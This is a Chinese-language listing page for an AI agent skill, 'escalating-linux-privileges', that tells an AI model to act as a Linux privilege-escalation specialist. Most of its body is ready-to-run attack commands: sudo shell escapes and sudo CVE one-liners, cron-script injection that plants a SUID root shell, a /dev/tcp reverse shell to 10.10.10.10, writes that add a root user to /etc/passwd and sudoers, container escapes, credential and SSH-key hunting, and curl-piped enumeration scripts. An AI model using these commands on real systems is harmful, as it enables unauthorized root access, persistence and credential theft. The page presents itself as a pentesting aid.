关于 escalating-linux-privileges
escalating-linux-privileges 是用于发现和评估 Linux 权限提升路径的安全技能,涵盖系统枚举、常见配置错误、本地利用途径及自动化枚举工具,面向安全测试人员。
主要功能
- 01系统与用户枚举
- 02sudo 和 SUID/SGID 检查
- 03Capabilities 与 cron 任务测试
- 04可写文件与密码搜索
- 05内核和容器检查
- 06使用 LinPEAS 与 LSE 自动枚举
适用场景
- 01审查 Linux 主机的提权路径
- 02检查 sudo 和 SUID 配置错误
- 03调查可写的 cron 脚本
- 04使用 LinPEAS 枚举主机
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ trilwu/ secskills --skill escalating-linux-privileges安装后在 Claude Code 中输入/escalating-linux-privileges确认已加载。
附带文件references/kernel-and-nfs.mdreferences/suid-sgid-and-capabilities.md
详细介绍
Linux 权限提升技能
你是一名专攻权限提升技术的 Linux 安全专家。用户请求以下方面的帮助时,请使用此技能:
- 在 Linux 系统上提升权限
- 识别错误配置和漏洞
- 利用 SUID/SGID 二进制文件
- 滥用 Linux 功能
- 内核利用
- 容器逃逸技术
- Sudo 错误配置和绕过方法
- Cron 任务利用
- 路径劫持攻击
适用场景
用户请求以下操作时,启用此技能:
- 在 Linux 系统上提升权限
- 枚举 Linux 权限提升途径
- 利用 SUID 二进制文件或功能
- 滥用 sudo 错误配置
- 逃逸容器
- 识别内核漏洞利用
- 查找并利用 cron 任务弱点
- 分析 Linux 安全错误配置
不适用场景
- Windows 主机 — 使用
escalating-windows-privileges - 容器逃逸 — 使用
exploiting-containers - 保留已获得的访问权限 — 使用
establishing-persistence - 以防御者身份分析已遭入侵的主机 — 使用
responding-to-incidents
核心方法
1. 初始系统枚举
系统信息:
# OS and kernel version
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release
# Check for kernel exploits
searchsploit "Linux Kernel $(uname -r)"
uname -r
# CPU and system stats
lscpu
cat /proc/cpuinfo
df -h
当前用户上下文:
# Who am I?
id
whoami
groups
sudo -l
# Environment variables (passwords, API keys?)
env
set
cat /proc/self/environ | tr '\0' '\n'
# Check PATH for hijacking opportunities
echo $PATH
用户和组:
# All users
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1
# Users with bash
cat /etc/passwd | grep "/bin/bash"
# User details
cat /etc/shadow # If readable
cat /etc/group
# Home directories
ls -la /home/
2. Sudo 利用
检查 Sudo 权限:
# What can I run as root?
sudo -l
# Check sudo version for known vulns
sudo -V
sudo --version
常见的 Sudo 错误配置:
# NOPASSWD entries
sudo -l | grep NOPASSWD
# Wildcards exploitation
# If: (root) NOPASSWD: /bin/cp /tmp/* /var/www/html/
# Then: Create malicious file in /tmp, overwrite system files
# Shell escapes from sudo
# If you can run vim, less, more, man, etc. with sudo:
sudo vim -c ':!/bin/bash'
sudo less /etc/profile # then !/bin/bash
sudo awk 'BEGIN {system("/bin/bash")}'
sudo find . -exec /bin/bash \; -quit
sudo nmap --interactive # then !bash
Sudo CVE:
# CVE-2021-3156 (Baron Samedit) - Sudo < 1.9.5p2
sudoedit -s /
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# CVE-2019-14287 - Sudo < 1.8.28
# If: (ALL, !root) /bin/bash
sudo -u#-1 /bin/bash
# CVE-2019-18634 - Sudo < 1.8.26, pwfeedback enabled in /etc/sudoers
# Exploitable if pwfeedback is enabled in /etc/sudoers
适用于 Sudo 的 GTFOBins:
# Check https://gtfobins.github.io/ for specific binary
# Examples:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
sudo git -p help # then !/bin/bash
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh
3. SUID/SGID 二进制文件和 Linux 功能
SUID/SGID 二进制文件和文件功能是最常见的两种本地权限提升途径。枚举所有此类文件,然后逐一检查 GTFOBins,并优先使用 -p shell,以免权限被降级。详尽的 find 枚举、GTFOBins 单行命令以及各项功能的滥用目录,参见 references/suid-sgid-and-capabilities.md。
4. Cron 任务利用
枚举 Cron 任务:
# System-wide cron
cat /etc/crontab
ls -la /etc/cron.*
ls -la /etc/cron.d/
ls -la /var/spool/cron/
ls -la /var/spool/cron/crontabs/
# User crontabs
crontab -l
crontab -l -u username
# Check for running cron
ps aux | grep cron
systemctl status cron
利用可写的 Cron 脚本:
# If a cron script is writable
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /path/to/cron/script.sh
# Wait for cron to execute
/tmp/rootbash -p
# Reverse shell payload
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /path/to/cron/script.sh
利用 Cron 中的 PATH:
# If cron uses relative paths without full path
# Example: /etc/crontab contains: * * * * * root backup.sh
# Create malicious backup.sh in /tmp/ and modify PATH
echo '/bin/bash -c "cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash"' > /tmp/backup.sh
chmod +x /tmp/backup.sh
Cron 中的通配符:
# If cron job has: tar czf /backup/backup.tar.gz *
# Create malicious files
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > exploit.sh
chmod +x exploit.sh
touch -- --checkpoint=1
touch -- --checkpoint-action=exec=exploit.sh
# When tar runs with wildcard, it executes exploit.sh
5. 可写文件和目录
查找可写文件:
# World-writable files
find / -writable -type f 2>/dev/null | grep -v "/proc/"
find / -perm -2 -type f 2>/dev/null
# Files owned by current user
find / -user $(whoami) 2>/dev/null
find / -group $(groups | cut -d' ' -f1) 2>/dev/null
# Writable /etc/ files (critical)
find /etc -writable -type f 2>/dev/null
关键可写文件:
# /etc/passwd - add root user
echo 'newroot::0:0:root:/root:/bin/bash' >> /etc/passwd
su newroot
# /etc/shadow - overwrite root hash
# Generate hash: openssl passwd -6 password
# Replace root line
# /etc/sudoers - add sudo permission
echo 'username ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# /etc/crontab - add malicious cron
echo '* * * * * root /tmp/exploit.sh' >> /etc/crontab
# ~/.ssh/authorized_keys - add SSH key
ssh-keygen -t rsa
cat ~/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys
6. 容器逃逸
检测是否处于容器中:
# Check for .dockerenv
ls -la /.dockerenv
# Check cgroup
cat /proc/1/cgroup | grep docker
cat /proc/self/cgroup
# Check for container-specific files
ls -la /.containerenv # Podman
cat /proc/1/environ | grep container
容器逃逸技术:
# Privileged container with access to /dev
# Mount host filesystem
fdisk -l
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
# Docker socket mounted (/var/run/docker.sock)
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Cap_sys_admin capability
# Can mount host filesystem or abuse other admin functions
# containerd/runc escape (CVE-2019-5736)
# Overwrite runc binary on host
# Kubernetes pod escape
# Service account tokens: /run/secrets/kubernetes.io/serviceaccount/
kubectl --token=$(cat /run/secrets/kubernetes.io/serviceaccount/token) get pods
7. 密码搜寻
搜索密码:
# Grep for password strings
grep -r "password" /home/ 2>/dev/null
grep -r "passwd" /var/www/ 2>/dev/null
grep -ir "pwd\|pass" /opt/ 2>/dev/null
# Configuration files
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat ~/.bash_history
cat ~/.mysql_history
cat ~/.ssh/id_rsa
# Database files
find / -name "*.db" 2>/dev/null
find / -name "*.sqlite" 2>/dev/null
# Check environment
env | grep -i pass
# Check for credentials in scripts
find / -name "*.sh" -exec grep -l "password" {} \; 2>/dev/null
find / -name "*.py" -exec grep -l "password" {} \; 2>/dev/null
# Memory dumps
strings /dev/mem
strings /proc/kcore
# SSH keys
find / -name id_rsa 2>/dev/null
find / -name id_dsa 2>/dev/null
find / -name authorized_keys 2>/dev/null
8. 内核漏洞利用和 NFS
这些是最后的手段,因此单独列出:它们很少是正确的选择,而且稳定性较差。有关内核漏洞利用的选择以及 no_root_squash NFS 滥用,请参阅 references/kernel-and-nfs.md。
自动化枚举工具
LinPEAS(推荐):
# Download and run
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or locally
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
LinEnum:
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh
Linux Smart Enumeration(LSE):
wget https://github.com/diego-treitos/linux-smart-enumeration/raw/master/lse.sh
chmod +x lse.sh
./lse.sh -l1 # Level 1 (fast)
./lse.sh -l2 # Level 2 (thorough)
pspy(监控进程):
# Monitor for cron jobs and processes without root
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64
故障排查
漏洞利用无效:
- 检查架构:
uname -m(x86_64、i686、arm 等) - 如果可能,在目标系统上编译
- 检查内核版本是否与漏洞利用的要求完全匹配
- 确认漏洞利用针对的是正确的 Linux 发行版
- 检查是否启用了安全缓解措施(AppArmor、SELinux、ASLR)
SUID 二进制文件未启动 root shell:
- 使用
-p标志保留权限:/bin/bash -p - 有些 shell 会降级权限;请尝试其他 shell
- 检查二进制文件是否设置了功能而非 SUID
无法编译漏洞利用:
- 传输预编译的二进制文件
- 在攻击者机器上交叉编译
- 使用静态编译的二进制文件
- 检查目标上是否有 gcc、g++、make
权限被拒绝错误:
- 仔细检查文件权限
- 确认你属于正确的组
- 检查 AppArmor/SELinux 是否阻止了操作
- 尝试其他攻击途径
参考资料
- references/suid-sgid-and-capabilities.md — SUID/SGID 和 capabilities 枚举与利用目录(渐进式披露)
- references/kernel-and-nfs.md — 内核漏洞利用的选择与
no_root_squashNFS 滥用(渐进式披露) - HackTricks Linux 提权:https://github.com/HackTricks-wiki/hacktricks/tree/master/src/linux-hardening/privilege-escalation
- GTFOBins:https://gtfobins.github.io/
- PEASS-ng (LinPEAS):https://github.com/carlospolop/PEASS-ng
- PayloadsAllTheThings:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md
- Linux 提权技术:https://book.hacktricks.xyz/linux-hardening/privilege-escalation
ATT&CK 覆盖范围
根据 secskills-core/ttp-index.json 生成——编辑该文件,然后运行
python3 scripts/sync_attack.py --write。引用报告中的 ID 前,请根据
当前 ATT&CK 版本重新核实。
执行(TA0002)
- T1059.004 Unix Shell
持久化(TA0003)
权限提升(TA0004)
- T1068 利用漏洞进行权限提升——另请参阅
escalating-windows-privileges、exploiting-memory-corruption - T1548 滥用权限提升控制机制 (也属于防御规避)——另请参阅
escalating-windows-privileges - T1548.001 Setuid 和 Setgid
- T1548.003 Sudo 和 Sudo 缓存
凭据访问(TA0006)
- T1003.008 /etc/passwd 和 /etc/shadow——另请参阅
cracking-passwords - T1552 未安全存储的凭据——另请参阅
exploiting-cloud-platforms、auditing-supply-chain、abusing-ci-cd-oidc
发现(TA0007)
横向移动(TA0008)
- T1021.004 SSH——另请参阅
enumerating-network-services
这些技术的检测内容:engineering-detections。主动搜索:hunting-threats。入侵后处置:responding-to-incidents。